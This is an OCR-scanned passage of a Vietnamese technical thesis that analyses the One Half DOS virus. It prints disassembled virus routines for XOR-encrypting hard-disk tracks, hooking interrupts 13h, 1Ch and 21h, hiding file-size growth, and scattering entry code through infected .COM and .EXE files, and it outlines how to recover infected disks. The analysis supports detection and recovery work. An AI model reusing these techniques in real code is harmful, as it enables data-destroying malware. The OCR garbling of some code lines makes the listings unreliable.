DH = Gia tri t6i da cho dau doc.

DL = S6 dia cing trén bo diéu khién dia thit nhat.

CH-CL: Gia tri toi da cho Cylinder va Sector, ¢6 1€ cling can
nhic lai ring trong cac tdc vu ki€u nay cua int 13h, CH chi chita 8
bit thip cta gia tri Cylinder, 6 bit thap cua CL Iuu gid tri cla
sector, con 2 bit cao cua CL dugc dat I1a 2 bit cao cho Cylinder,
nhu vay sector chi€ém 6 bit, con Cylider chi€ém 10 bit. Pac biét doi
v6i ROM-BIOS cia AWARD, dé tang thém kha nang s6 Cylinder
t0i da, con cho phép diung thém 2 bit cao nhat cia DH dé ghép
thém lam 2 bit cao nhat cho Cylinder, nghia 1a khi d6, Cylinder
chiém 12 bit.
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Sau khi 14y dugc tham sO cua dia cing, 14y gia tri toi da cua
sector dat vao 6 nhé DS:[OE2D] (offset OESA trong chuong trinh):
mov al,cl
and al,3Fh
mov byte ptr ds:[0E2Dh],al
Pong thoi ciing dat BX=7E00h va luu vao dia chi
DS:[0E2Fh] (offset OESCh trong chuong trinh).
Trude khi ti€p tuc do vét tiép theo, ching ta hay khao sat
sub 4
Can xem lai phan trén d€ thay rang, khi sub_4 duoc goi,
thanh ghi DH dang luu trit s6 t6i da cic dau tir 6 dia nhu da mo ta,
AL luu gia tri toi da cua sector trén dia, con CL=1

sub_4 proc near

0243  push ax
0244  mov ax,sl
0246  mov ch,al ; Dat 8 bit thap cua thanh ghi si
vao ch
; con 8 bit cao dat trong ah
0248  push CX
0249  mov cl4
024B  shl ah,cl ; Dich trai ah 4 bit ah =
xxxx0000
024D  pop CX
024E  mov al,3Fh
0250 and dh,al  ; Néu dh>3Fh thi dh=3Fh, ngugc
lai thi
; gilt nguyén gia tri cua dh
0252 and cl,al ; ¢l van duogc gilt nguyén bang 1
0254  not al ; al = 1100 0000
0256  push ax
0257 and ah,al :
0259 or dh,ah ;
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025B  pop ax

025C  shl ah,1

025E  shl ah,1 ; Dich trdi ah 2 bit ti€p
ah=xx000000

0260 and ah,al  ; ah dugc gitt nguyén

0262 or cl,ah  ; Dat 2 bit thap cua byte cao cua
s1 vao

; 2 bit cao cua cl, con 6 bit thap

cua cl=1

0264  pop ax

0265 retn

sub_4 endp

Qua viéc theo doi cac Iénh trong sub_4, chiing ta thay nhiém
vu ciia modul nay la:

- Thu x€p cho thanh ghi DH .

- Xuat phat tur gia tri cua SI ma dat vao cho CX: CH luu byte
thap cua SI, con do6i véi CL thi 2 bit cao luu 2 bit thap cua byte
cao cua SI, con lai 6 bit thap cua CL van giit nguyén gia tri cta
no, trong truong hop nay la gid tri 1.

Sau khi ¢6 cdc thong tin vé modul sub_4 nhu trén, chiing ta
ti€p tuc do vét cua ching trong doan ma ching ta dang phan tich
(Iénh & 0147h).

- Dat DL=80h (6 dia cting), giam SI r6i goi sub_4 dé dat cho
cac thanh ghi DH va CX.

- Goi ngat 13h (AH=2) v6i hé théng cdc thanh ghi nhu sau:
DL=80h, ban dau DH = s6 dAu tir t6i da cua 6 dia sau khi da trai
qua sub_4, CX dugc dat véi so6 Cylinder la gia tri trong SI, sector
bat ddu doc 1a 1, so sector cdn doc AL=Toan bd sO sector/track,
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Vung dém: ES:BX = 0:7E00h, Nghia 1a doc toan b0 toan bo track
SI trén mat DH vao 0:7E00h.

- Goi sub_38.

- bat AH=3 r6i lai goi int 13h van véi cdc hé thong thanh ghi
trén, nghia la dit liéu duoc ghi vao ding chd cii cua né trén dia, vi
vay c6 1y do dé nghi ngo riang sub_38 chinh 12 modul 1am nhiém
vu ma hod dir liéu.

- Néu (DH and 3Fh) khong dung ¢ ZR thi giam DH r6i lap
lai qua trinh doc dia, ma hoa, ghi lai nhu trén. Con néu dung co
ZR thi 1ay lai gia tri ban dau ctia DX, so sanh SI véi gia tri trong 6
nhé 140h (offset 16Dh trong chuong trinh), 1a 6 nhé ghi gia tri
ban dau cua SI sau khi da giam di 2 (xem lai 1énh 12Dh), néu 16n
hon thi 1ap lai toan bo qua trinh trén.

Toém lai, doan chuong trinh ching ta vira phan tich ti€n hanh
doc 1an luot tig track trén moi mat dia ké tir Cylinder (si-1) vao
dia chi 0: 7EOOh, tién hanh ma ho4 roi ghi trd lai vao ding vi tri
cli trén dia. Gia tri dugc dat trong SI lic ban dau la gia tri tai
offset 29h trén Master Boot. S6 luong Cylinder moi lan chuong
trinh ti€n hanh 1a 2 Cylinder. Sau khi ti€n hanh qué trinh trén, gia
tri trong SI 1a s6 hiéu ctia Cylinder 16n nhét chua bi ma hoa.

Trong qua trinh trén, néu gia tri ban dau cta SI<7, hoac viéc
doc bang tham s6 cta dia cling c6 16i, s& nhay téi loc_8, con néu
viéc doc ghi ma c6 16i s€ nhay t6i loc_10, ching ta phan tich 2
doan ma nay sau. Nhu vay chiang ta gac lai sub_38 (OE56h) va
loc_8, loc_10.

Bay gi0, ching ta ti€p tuc do vét doan ma ti€p theo.

loc_7:
0171 mov bh,7Ch

78/233



www.nhipsongcongnghe.net

0173  mov es:[bx+29h],si ; Ghi si vao
0:[7C00h+29h]
0177 mov ax,0301h

017A  mov cx,1
017D  mov dh,ch

O17F 1int
Master Boot

13h  ; Ghi ving dém 0: 7COOh vao

Nhu vay, sau khi 14y gi4 tri Cylider tai 29h d6 vao SI, ma hoa
2 Cylinder c6 s6 hiéu SI-1, SI-2, giam SI di 2 roi lai ghi lai vao

offset 29h.
loc_8:
0181 mov
0185 cmp
0189 ja
018B call
loc_9:
018E  mov
0191  mov
0194  mov
0198 dec
0199  mov
019C int
0:7C00
019E cli
019F les
ngat 13h
es=segment
01A4 mov
01A7 mov
OIAB pop
OIAC push
01AD les
ngat 1Ch

ds:[OEEEh],si
s1,1C7h

loc_9

sub_5 ;(0297h)

; offset 6 nhé OF1Bh

ax,201h

bx,7C00h

cx,word ptr ds:[00C6h] ; Gia tri la 22h
cX ; Sector 21h luu MB cii

dx,80h

13h ; Poc Master Boot cii vao

ax,dword ptr es:[004C] ; Lay dia chi
: ax=offset,

ds:[0OF35],ax ; offset 6 nhé OF62h
ds:[0OF37],es ; offset 6 nhé OF64h

es ; es=0

es

ax,dword ptr es:[0070h] ; Lay dia chi
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; ax=offset,

es=segment

01B2 mov ds:[205h],ax ; offset 6 nhé 232h

01B5 mov ds:[207h],es ; offset 6 nh6é 234h

01B9 pop es

01BA push es

0IBB  mov word ptr es:[004Ch],0E45h ; offset 6
nhé OE72h

0IC2  mov word ptr es:[004Eh],cs ; Dat lai dia chi
ngat 13h CS:0E45h

0IC7  mov word ptr es:[0070h],1D1h ; offset 6
nhé 1FEh

OICE mov word ptr es:[0072h],cs ; Dat lai dia chi
ngat 1Ch CS:1D1h

01D3  sti

01D4 push bx

01D5  retf

Nhu vay, ching ta thdy cong viéc chu yéu cua doan ma nay

la:

- Poc Master Boot cii (Iuu tai sector ngay truéc 7 sector cua
virus One Half) vao dia chi 0:7C0O0h.

- Dat lai hé thong dia chi cho cac vector ngat 13h va ngat
1Ch.

- Chuyén diéu khién t6i 0:7C00h, dé cho may khdi dong binh
thuong.

Pé khoi bo sét, ching ta tim hi€u not loc_10 va sub_5.
Loc_10 Ia vi tri dugc nhay téi trong truong hop doc/ghi dia ¢6 16i.

loc_10:
01D6  xor ah,ah
01D8  push ax
01D9 int 13h
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01DB pop ax
loc_11:
01DC inc dh
O1DE mov ah,dh
01EO  pop dx
O1E1  push dx
OIE2 cmp ah,dh
OIE4 ja loc_7
01E6 mov dh,ah
01E8 mov ah,2
O1EA push ax
OlEB int 13h
O1ED pop ax
O1EE call sub_ 38
O01F1 inc ah
O01F3  push ax
O1F4 int 13h
01F6  pop ax
O01F7  jmp loc_11
loc_12:
01F9  pop dx
01FA inc si
O1FB jmp loc_7

Qua phan tich doan ma phia truéc, nhin vao doan ma nay,
ching ta dé dang thay cong viéc ma né dam nhiém la:

- Reset lai dia (int 13h, ah=0)

- Xuat phat tur vi tri mat dia gy 16i (trong dh) cong thém 1 trd
v€ sau cho dén hét mat dia 16n nhét, ti€én hanh ma hod thong tin
(d€ tra lai thong tin ban d4u), tang gi4 tri cua si roi quay lai loc_7
nhu da phan tich & phan trén.

sub_5 proc near
0297  mov ah,4
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0299 int 1Ah ; read date cx=year,
dx=month/day

029B jc loc_ret_15  ; Nhay néu dong ho bi
hong

029D test dlL,3

02A0 jnz loc_ret_15  ; Nhay néu khong la ngay
10,20,30

02A2  test ds:[0DD6h],1 ; offset 6 nhé OEO3h

02A8 jnz loc_ret_15 ; Nhay néu bit cuoi clia
[0ODD6] khac O

02AA mov cx,31h

02AD mov s1,239h

: Offset cua db 'Dis is one
half',0Dh,0Ah,50h,
; db 'Pres any key to continue'

02BO0  mov ah,0Fh

02B2 int 10h

02B4 mov bl,7

02B6 mov ah,0Eh

loc_loop_14:

02B8  lodsb

02B9 int 10h

02BB  loop loc_loop_14

02BD xor ah,ah

02BF int 16h

loc_ret _15:
02C1 retn
sub_5 endp

Nhu vay cong viéc cta sub_5 chi 1a: Khi cac di€u kién duoc
hoi du, hién trén man hinh dong chit thong bdo tén cua virus.

Bay gio chung ta quan tam t61 sub_38 (offset OE56), modul
ma hod dit liéu. Nhd lai rang trude day, virus da thuc hién sub_3,
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chuyén 15Dh byte tir 772h dén DD8h (tir offset 79Fh dén offset
OEO5h), vi vay doan ma nay thuc chat 1a & 7C3h (offset 7FOh).

sub_38 proc near

OE56  push ax
OE57 push bx
OE58 push CX
OE59 mov al,0 ; DA dugc thay bang s
sector/track
OE5B  mov bx,0  ; Da dugc thay bang 7E0Oh
loc_148:
OESE mov cx,100h
loc_loop_149:
OE61  xor word ptr es:[bx],678E
OE66 inc bx
OE67 inc bx
OE68  loop loc_loop_149
OE6A dec al
OE6C jnz loc_148
OE6E  pop CX
OE6F  pop bx
OE70 pop ax
OE71 retn
sub_38 endp

Nhu vay, modul nay tién hanh ma ho4 toan bd dit liéu trén so
sector doc dugc trong buffer 0:7E00h bang phép toan XOR véi
gia tri word tai dia chi [0E64h], chinh 1a gia tri word tai dia chi
07D1h trong phan than cta virus. Qua kiém tra, toi thay gid tri
nay trén cac may khic nhau la khac nhau, va trén cung mot may,
tai cdc thoi diém nhiém khac nhau ciing khac nhau. Sau nay, khi
nghién ctu vé co ché€ nhiém, t6i méi biét rang, gid tri duoc ghi &
day la gia tri cua bién dém thoi gian (tai dia chi 0:46Ch) ma virus
lay dua vao d6 khi lay nhiém.
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6. Mo td cong viéc khoi phuc Master Boot va phdn dii liéu dd bi
md hoa.

Qua tat ca cdc phan tich trén day, chiing ta da c6 co s& dé
phuc hoi lai Master Boot va phuc hoi lai cac dit liéu da bi ma hoa
trén dia khi may bi nhiém virus One Half. Cac cong viéc chinh c6
thé mo ta nhu sau:

- Poc Master Boot (Side 0, Cyl 0, Sector 1) dé 1ay gia tri cua
Cylinder cu6i cung (tinh tlr trong ra) da bi virus One Half ma héa
dir liéu.

- Poc bang tham s6 dia ciing dé 1ay cac tham s6 cua dia
ctiing: SO dau doc ghi, s6 cylinder, sO sector/track.

- Doc sector th tu tinh tir cudi lai trén side 0, cylinder 0, lay
gid tr1 word tai offset 1D1h, d6 la todn hang tht hai trong phép
toan ma hoa XOR.

- Tinh tu cylinder trong cung da bi One Half ma hoa tro di
(trr Cylinder cudi cung), ti€n hanh doc timg track, thuc hién ma
hoa ngugc lai (giai ma) roi ghi trd lai vao dia.

- Poc va tra lai Master Boot ban dau tai vi tri virus One Half
cat giau.

7. Khdo sdt ngat 13h, ngat 21h va ngdt 1Ch do virus One Half
chiém.
a. Ngat 1Ch.
Nhu phan trén ching ta dia khao sat, dia chi ctia ngat 1Ch

duoc virus One Half dat 1a dword CS:1D1h (offset trong chuong
trinh 1a 1FEh), word dau cho offset, word sau cho segment, con
dia chi ngat 1Ch ban dau dugc luu vao dword DS:[205h], word
dau cho offset, word sau cho segment (offset trong chuong trinh
l1a 232h).
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Sau day 1a doan ma ctia ngat 1Ch do One Half quan 1y:

OIFE push ax

O1FF  push ds

0200  push es

0121 XOr ax,ax

0203 mov ds,ax

0205 les ax,dword ptr ds:[0084h]

0209  mov word ptr cs:[0DE8h],ax ; offset trong
ch.trinh OE15h

020D mov ax,es

020F cmp ax,800h

0212  ja loc_13

0214  mov word ptr cs:[0DEAh],ax ; offset trong
ch.trinh OE17h

0218 les ax,dword ptr cs:[205h] ;

021D mov ds:[0070],ax

0220  mov ds:[0072],es

0224  mov word ptr ds:[0084h],0C5D

022A mov word ptr ds:[0086h],cs

loc_13:

022E  pop es

022F  pop ds

0230  pop ax

0231 jmp far ptr XXXX:XXXX
Cong viéc cua doan ma nay c¢6 thé mo ta nhu sau:

- Lay dia chi ngat 21h trong bang vector ngat dat vao ES:AX

- Dat dia chi offset cua int 21h trong AX vao [0DE8h] (offset

trong chuong trinh 1a OE15h)
- Né€u dia chi doan trong ES>800h thi nhay t&i két_thic.

- Nguogc lai thi luu gia tri dia chi doan nay vao [ODEAh]

(offset trong chuong trinh 1a OE17h).
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- Lay lai dia chi cii cia int 1Ch da dugc luu tai [205h] day tr&
lai vao dia chi ciia né trong bang vector ngat.

- Dat dia chi ngat 21h: offset 0C5Dh (OC8Ah trong chuong
trinh), segment CS=9F00h.

- Két thic: La mot 1énh nhay xa. Cha y rang tai offset 232h
trong chuong trinh da bi thay bang offset:segment cua int 1Ch ci,
cho nén day 1a lénh goi phuc vu ngat 1Ch cii ra dé 1am viéc.

Trong doan ma nay c6 mot chit t€ nhi ma ching ta khong thé
khong néi t6i. Tai sao lai phai kiém tra gid tri trong thanh ghi ES,
néu ndé <=800h thi méi tién hanh cai dat? Boi vi sau khi virus
install xong, mot ldc lau nita DOS méi duogc tai vao, va khi d6 né
mdi ti€n hanh cai dat dia chi ngét 21h trong bang vector ngat (va
tat nhién segment cua dia chi nay <=800h).

Diéu nay giai thich tai sao 1énh dau tién trong phan than cua
virus (Iénh 100h) lai d6 gia tri cta thanh ghi CS=9F00h vao dia
chi doan cua ngét 21h trong bang vector ngit. Nhu vay viéc ki€m
tra ctia virus nham dam bao riang né chi chi€ém ngat 21h sau khi
DOS da cai dat xong hé thong ngat cua minh.

C6 thé thay t6m lai mot diéu rang, viéc chiém ngéat 1Ch cua
virus One Half chi 14 tam thoi, nham muc dich théong qua né
chiém 14y ngat 21h. Sau khi cai dat xong ngit 21h clia minh, virus
One Half tra lai ngat 1Ch ma khong chi€m nita. Sau nita, dia chi
cii ciia ngat 21h cat tai dword ODES8h (offset trong chuong trinh 1a
OE15h), dia chi méi cta int 21h la CS:0C5Dh (offset trong
chuong trinh 1a 0C8Ah).

That 1a mot y tudng hay! Truéc khi nghién ctu ngit 1Ch cua
virus One Half, thuc ra toi cling chua biét lam thé nao dé no
chi€m cho duoc ngat 21h, bdi vi né 1én truéc DOS co ma.
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b. Ngdt 21h.

Dia chi offset ctia ngat 21h 1a 0C5Dh (offset trong chuong
trinh 1a OC8Ah).

Sau day la ma cua ching:

OC8A  pushf
0C8B  sti
0C8C cmp ah,11h
OC8F je loc_125
0C91 cmp ah,12h
0C94  jne loc_128
loc_125:
0C96  jmp short $+42
0C98  push bx
0C99  push es
0C9A push ax
0C9B mov ah,2Fh
0C9D  call sub_25 ; (091Fh)
0CAO pop ax
0CA1 call sub_25 ; (091Fh)
0CA4 cmp al,0FFh
0CA6 je loc_127
0OCA8 push ax
0CA9 cmp byte ptr es:[bx], OFFh
OCAD jne loc_126
OCAF add bx,7
loc_126:
0CB2 add bx,17h
0CBS call sub_31 ; (0C02h)
0OCB8 pop ax
0CB9 jnc loc_127
OCBB add bx,6
OCBE call sub_32 ; (0C23h)
loc_127:
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0CCl1 pop es
0CC2 pop bx
0CC3  popf

0CC4  iret

TruGe khi theo doi vét ciia phan nay, ching ta xem cac cong
viéc phai thuc hién ctia cac modul con.

sub_25 proc near

091F pushf
0920 chi
0921 call dword ptr cs:[0DES8h] ; Tai dword nay luu
dia chi Int21 cii
0926 retn
sub_25 endp

Nhu vay, don gian 1a sub_25 goi t6i ngat 21h chuin cla
DOS.

Do d6, tir Iénh OC8Ah dén lénh OCA1lh lam cac cong viéc
sau:

- Néu AH=11h hoac AH=12h (chic nang FindFirst va
FindNext qua FCB) thi méi tién hanh phan sau nay, con néu
khong thi nhay t6i loc_128.

- Goi int 21h v6i ah=2Fh dé dat ES:BX tr6 t6i ddu cua khoi
DTA hién hanh.

- Goi int 21h v6i AH ban dau (11h hoac 12h). Néu c¢6 16i
(AL=0FFh) thi thoi, con néu khong c6 16i (AL=0) thi do DOS da
dién cdc thong tin vao DTA, cho nén ti€p tuc lam viéc trén DTA
nay.

Dit liéu do DOS dién vao DTA gém byte ddu tién 12 s6 hiéu 6
dia (0=A, 1=B,...) va 16i vao (entry) cta thu muc tap tin cat trong
32 byte ké d6.
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Néu trong 16i goi, dung FCB mé rong, ving DTA duoc dién
voi gid tri OFFh, 7 byte ¢ gid tri 0, s6 6 dia va 16i vao thu muc
nhu trén.

- bat BX tro t6i offset 16h trong entry thu muc tap tin, 1a thoi
gian va ngay cap nhat tap tin, roi goi sub_31.

sub_31 proc near

0C02  push dx

0C03 mov ax,es:[bx+2] ; Lay nam, thang, ngay.
0C0O7  xor dx,dx

0C09  div word ptr cs:[00A6h] ; Chia dx:ax

cho cs:[00A6]
; Gia tri tai [00OA6h] 1a

001Eh.
; Két qua dat & ax.
; SO du dat & dx
OCOE mov ax,es:[bx] ;
OC11 and al,1Fh ; Lay giay vao al
0C13 cmp al,dl ; So sanh al véi1 dl
0CI5  stc ; Néu bang thi dung co carry
0C16 jz loc_121 : va két thuc.
0C18 mov ax,es:[bx] ; Néu khong thi xoa co carry
OCIB and ax,0FFEOh ; va két thuc
OC1E or al,dl
0C20 clc
loc_121:
0C21 pop dx
0C22 retn

sub_31 endp
Sau khi thuc hién sub_31, khi co carry duoc dung thi tang bx
1én 6 (tro vao kich thudc tap tin) va thuc hién sub_32.
sub_32 proc near

0C23  sub word ptr es:[bx],0DD8h ; 3544 byte
0C28 sbb word ptr es:[bx+2],0
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0C2D jnc loc_ret 122
OC2F add word ptr  es:[bx],0DD8h
0C34 adc word ptr  es:[bx+2],0

loc_ret_122:
0C39 retn
sub_32 endp

Sau khi thuc hién sub_32, né€u kich thuéc tap tin >0DD8h thi
kich thudc tap tin bi trir di 0DD8h (3544 byte).

Nhu vay, toan bo phan trén xUr Iy ngat 21h v6i AH=11h, 12h
(Tim tap tin dau tién va tim tap tin ké ti€p qua FCB). Sau khi 1ay
dugc dia chi ctia DTA hién thoi, tra lai cho ngat 21h xir 1y binh
thuong, dé cho DOS dién céc thong tin vao DTA réi kiém tra moi
lién hé gitta ngay thang va thoi gian tao 1ap cua file, néu thoa diéu
kién d6 thi trit kich thudce file di 0DD8h (3544) byte.

Bay gio ching ta dé cap téi loc_128.

loc_128:
0CC5 cmp ah,4Eh
0CC8 je loc_129
0CCA cmp ah,4Fh
0CCD jne loc_132
loc_129:
OCCF push bx
0CDO push es
0OCD1 push ax
0CD2 mov ah,2Fh
0CD4 call sub_25 ; (091Fh)
0CD7 pop ax
0CD8 call sub_25 ; (091Fh)
0CDB jc loc_131
OCDD push ax
OCDE add bx,16h

90/233



www.nhipsongcongnghe.net

OCEl call sub_31 ; (0C02h)

OCE4 pop ax

OCES jnc loc_130

OCE7 add bx,4

OCEA call sub_32 ; (0C23h)
loc_130:

OCED pop es

OCEE pop bx

OCEF popf

OCFO clc

OCF1  retf 2
loc_131:

OCF4 pop es

OCF5 pop bx

OCF6  popf

OCF7  stc

OCF8  retf 2

Xem qua, cong viéc cua doan ma nay hoan toan tuong tu nhu
phan trén chiing ta da phan tich, chi khac 1a thao tac trén DTA do
DOS dién vao thong qua chitc nang AH=4Eh, 4Fh cua int 21h.
K&t qua thuc hién giéng nhu chiing ta da néi & phan trén. Néu cé
16i (khong tim thay tap tin), dung c& carry dé giong nhu thao tdc
cua int 21h.

Tiép tuc, ching ta theo doi loc_132. Modul loc_132 dugc goi
khi khong phai la chic nang tim kiém file, tic 1a khi AH khong
nhan céc gia tri 11h,12h,4Eh,4Fh.

loc_132:
OCFB cmp ax,4B53h
OCFE jne loc_133
0DO0 mov ax,454Bh
0D03  popf
0D04  iret
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Modul loc_132 nham xu ly ngiat 21h Gng vG6i AH=4Bh,
al=53h. Thuc ra chic nang AH=4Bh nham nap mot chuong trinh,
no co hai chic nang con AL=0 va AL=3. V61 AL=0, s€ nap va thi
hanh chuong trinh, con v6i AL=3 s€ nap chuong trinh overlay. Vi
vay modul loc_132 chi nham kiém tra xem virus One Half da c6
trong bo nhé hay khong ma thoi. Nhu da néu trong phan tong
quan, k§ thuat nay duoc mot s6 virus 4p dung nhim kiém tra su
ton tai cua minh trong bo nhé, uu diém cta né 1a thoi gian cho
viéc ki€m tra tuong d6i nhanh chéng.

Nhitng phan tich trén day ciing rat c¢6 ich cho chiing ta trong
cong viéc phat hién diac diém cua file bi 1ay nhiém, ciing nhu cdch
kiém tra sy ton tai cia minh trong ving nhé cta virus One Half.
Dicu nay s€ gitp ching ta trong qua trinh phat hién va khoi phuc
dia bi nhiém One Half.

Viéc theo doi cac modul Gng vé6i cac chiic nang khac cua int
21h do virus One Half thay thé kh4 dai. Do khuon khé cta luan
an, toi xin phép khong trinh bay chi tiét & day, ma ching ta sé tim
hi€u thong qua cdch khao sét trén file bi lay nhiém virus One
Half.

7. Khdo sdt file .COM bi nhiém virus One Half.

Dé khdo sdt trén file bi lay nhiém, ching ta c6 trong tay file
format.com bi lay nhi€ém va file format.ok la file khong bi lay
nhiém. File format.com bi 1ay nhiém c¢6 kich thudc 16n hon ban
dau DD8h (3544) byte. Kich thudc cua file format.ok la 22916
byte (5984h), con kich thudc cta format.com la 26460 byte
(675Ch).

Chung ta s€ so sanh doi chi€u hai file, két hop dich nguoc dé
do theo vét hoat dong cua virus One Half.
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Nhu truyén thong, hai file khac nhau & 3 byte dau tién, & file
bi nhiém, d6 la mot 1énh nhay: E9 EA 53 (jmp $+53EDh). Vi tri
nay khong phai la phan dau cua ma virus ghép thém vao file, ma
dé 1a vi tri mot doan ma chuong trinh da bi né thay thé. Poan ma
do bat dau tir 53EDh:

F9 FB 50 F5 F5 F9 F9 E9 FO 03
Dich nguoc:

stc

sti

push ax
cmce

cme

stc
jmp $+03F3h  ; (57E6h)

Doan thit hai bi thay the (bat dau tai offset 57E6h):
FCF8 2E 16 F5 E9 03 FE

Dich nguoc:

cld
clc
CS:
push SS

cmece
jmp $+FEO6h  ; (55F1h)

Doan thit ba bi thay thé€ (bat dau tai offset 55F1h):
F9 2E F5 F8 36 1F E9 2B FC
Dich ngugc:

Stc
CS:
cmc
clc
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SS:

pop ds

jmp $+FC2Eh  ; (5225h)
Doan thit tu bi thay thé (bat dau tai offset 5225h):

36 BF 84 5A F5 F5 E9 AD 03

Dich nguoc:

SS:

mov di,5A84h

cme

cme

mp $+03BOh  ; (55DBh)

Doan thit nam bi thay thé (bat diu tai offset 55DBh):
F8 B9 8C 58 3E FC 2E EB 5B
Dich nguoc:

clc
mov cx,588Ch
ds:
cld
CS:
jmp $+5Dh ; (563Fh)
Doan thit squ bi thay thé (bat dau tai offset 563Fh):

310D 3E 36 FB E9 85 02

Dich nguoc:
XOor [di],cx
ds:
SS:
st1
jmp $+0288h ; (58CCh)

Doan thit bay bi thay thé (bat diu tai offset 58CCh):
81 C1 01 B2 E9 48 FC
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Dich nguoc:
add cx,0201h
jmp $+FC48h ; (551Bh)

Doan thit tdim bi thay thé€ (bat dau tai offset 551Bh):
47 FB FD 2E 36 F8 E9 83 03
Dich nguoc:
inc di
sti
std
CS:

SS:
clc

jmp $+0383h ; (58A7h)
Doan thit chin bi thay thé (bat diu tai offset 58 A7h):

F92E FS F8 36 1F E9 2B FC

Dich nguoc:
cmp di,685Ch
jmp $+FDAFh ; (565Dh)

Doan thit mudi bi thay thé (bat dau tai offset 565Dh):
75 EO E9 71 06

Dich nguoc:
jnz 563Fh ; nhay tr& lai doan thit sau
jmp $+0671h ; (5CD3h)

Nhu vay virus One Half da thay th€ 10 doan ma trong file ban
dau bang 10 doan ma ctia minh, tap hop lai, chiing ta thdy n6 lam
cac cong viéc nhu sau:
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Poan 1
Poan 4

ctia virus
Poan 5
Poan 6
Poan 7
Poan 8
Poan 9

push
mov

mov
XOr
add
nc
cmp

Poan 10

Jmp

ax
di,5A84h
; La kich thudc file ban dau, ciing 1a offset 0

cx,588Ch

[di],cx

cx,0B201h

di

di,685Ch ; La kich thudc cua file bi nhiém

jnz Poan 6

5CD3h

Nhu vay, ching ta thdy phan cai trong than cua file nguyén
thé gitp virus One Half giai ma toan bo phdn ma ctia minh roi
m&i nhay t6i vi tri hoat dong thuc su. Sau khi giai ma, phan ghép
thém cua virus One Half cua file nguyén thé chinh 12 toan bo
phan than cta One Half.

Lénh tai dia chi offset SCD3h cua file twong tng véi offset
034Fh trong phan than cua virus One Half. Chiing ta khao sat

chung.

5DD3
SDD6

ma VR.

call 5DD6h

pop sl ; si=5DD6h

sub $1,352h : s1=5A84h

mov  [si+02B8],si ;Ghi si=5A84h vao off 2B8h cua
push es

push  si

cld

inc word ptr [s1+ODD6h]

mov byte ptr [si+OBABh],74h

Xor ax,ax

mov  es,ax

mov  ax,es:[046Ch] ; ax=d€m thoi gian 18.2lan/s
mov  [si+56Ah],ax
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mov
mov
nt

e

cung.
SE67

SFIF

mov
loc_loop_1:
mov
push
mov
repz
pop
inc
inc
loop

[s1+0D71h],ax
ax,4B53h
21h ; Kiém tra One Half trong bo
ax,454Bh
SE67h

; D4 nhiém trong bo nhé trong

; Install virus vao bo nhé va dia

bx : bx=offset 0 cua virus

es
si,[bx+40h] ; si=offset 40h cua than virus
bx,2Ah ; bx=offset 2Ah cua virus
cx,0Ah

di,[bx]

cX

cx,0Ah
movsb

cX

bx

bx
loc_loop_1

; bx=5A94h
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SFOD  jmp far cs:[bx+14h] ; jmp cs:100

Poan ma tir 5F1Fh da thé hién cach thay th€ trd lai cdc doan
ma chuong trinh nguon sau khi virus hoat dong xong. Chiing tié€n
hanh thay th€ 0Ah (10) doan, moi doan 0Ah (10) byte, cdc doan
lién ti€p nhau bat dau tir dia chi offset 40h trong phan than cta
virus, con dia chi offset trong chuong trinh nguén dugc thay thé la
OAh (10) word lién ti€p, bat dau tir dia chi offset 2Ah trong phén
than cta virus. Con 3 byte dau tién duogc cét tai offset 10h trong
phan than cua virus.

Cac két qua trén da dugc kiém tra lai trén mot s6 file dang
.COM bi nhiém One Half khic nhu COMMAND.COM,
SK.COM.

8. Khdo sdt file .EXE bi nhiém virus One Half.

DPé khao sat virus One Half nhiém trén file dang .EXE, toi da
cho nhiém trén file DEBUG.EXE, file bi nhiém cé kich thudc
19262 byte (4B3Eh), roi so sanh doi chiéu nd trén file nguyén thé
ban dau la DEBUG.OK, c6 kich thuéc 15718 byte (3D66h).
Ching ta van thay rang kich thuéc cua phan virus gan thém vao
file van 1a 3544 byte (DD8h).

Nhu da phan tich trong phan tong quan vé 1Ch byte d4u tién

cua file. EXE (Exe Header), trudc tién ching ta so sanh 1Ch byte

dau tién nay cua hai file DEBUG. EXE va DEBUG.OK da néi &
trén.

STT Size Item DEBUG.O
K DEBUG.E
XE
1 word Exe file 4D5Ah 4D5Ah
2 word PartPag 0166h O13Eh
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3 word PageCnt 001Fh 0026h
4 word ReloCnt 0001h 0000h
5 word HdrSize 0008h 0008h
6 word MinMem 0268h 0268h
7 word MaxMem FFFFh FFFFh
8 word ReloSS 03D7h 037Bh
9 word ExeSP 0200h 15E8h
10 word ChkSum 0000h 0000h
11 word ExelP 0100h 041Ch
12 word ReloCS FFFOh 037Bh
13 word TablOff 0052h 0052h
14 word Overlay 0000h 0000h

So sanh phan dau gom 1Ch cua hai file nay, ching ta thay
nhitng Item sau day la khac nhau:

- PartPag, PageCnt (I€ tat nhién vi kich thudc file da bi thay
doi)
- ReloCat, 6 file bi nhiém, con s nay bang 0.

- Gia tri khoi dau cua cac thanh ghi: ReloSS, ReloCS,
ExeSP, ExelP.

Nhu vay, file DEBUG.EXE bi nhiém khong cho phép DOS
tién hanh phan bo lai bang cich dat s6 muc trong bang phan bo lai
bing 0. Diéu nay ciling dé hiéu vi virus da thay thé toan bo hé
thong thanh ghi ban dau. Sau khi doc modul tai cia DEBUG.EXE
vao ving nhG tai STARTSEG:0, quyén diéu khién duoc trao cho
CS:IP trong d6 CS = ReloCS + STARTSEG, IP = ExelP. Chu y
rang kich thuGc ciia ExeHeader 1a 80h byte, cho nén quyén diéu
khién duoc trao cho doan ma tai Offset CS * 10h + IP + 80h cua
file, doi1 v6i DEBUG.EXE, d6 la doan ma tai Offset 3C4Ch cua
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file DEBUG.EXE. Giong nhu doi véi file dang .COM, doan ma
nay thay th€ doan ma cua file nguyén thé ban dau.

Sau day la ma cua doan thay thé€ tai 3C4Ch:

50 FS FB90 FD E9 9B FD
Dich nguoc:
push ax
cmce
sti
nop
jmp $+FD9Bh
Poan ma thit hai bi thay thé tai 39EFh:
OE 90 F5 E9 3A 02
Dich nguoc:
push cs
nop
cmce
jmp $+023Ah

Poan ma thit ba bi thay thé tai 3C2Fh:
3E F9 FD 1F E9 6C FE

Dich nguoc:

ds:
stc
std
pop ds
jmp $+FE6Ch
Poan ma thit tu bi thay thé tai 3AA2h:

F8 F5 FD BB 36 05 EB AB

Dich nguoc:

100/233



www.nhipsongcongnghe.net

clc

cme

std

mov bx,0536h
jmp $+ABh-100h

Poan ma thit nam bi thay thé€ tai 3A55h:
BA 7D A4 90 E9 45 01

Dich nguoc:
mov dx,A47Dh
nop
jmp $+0145h

Poan ma thit sau bi thay thé tai 3BA1h:
3E90 3E FD FC 31 17 E9 C6 FD
Dich nguoc:

ds:

nop

ds:

std

cld

XOor [bx],dx
jmp $+FDC6h

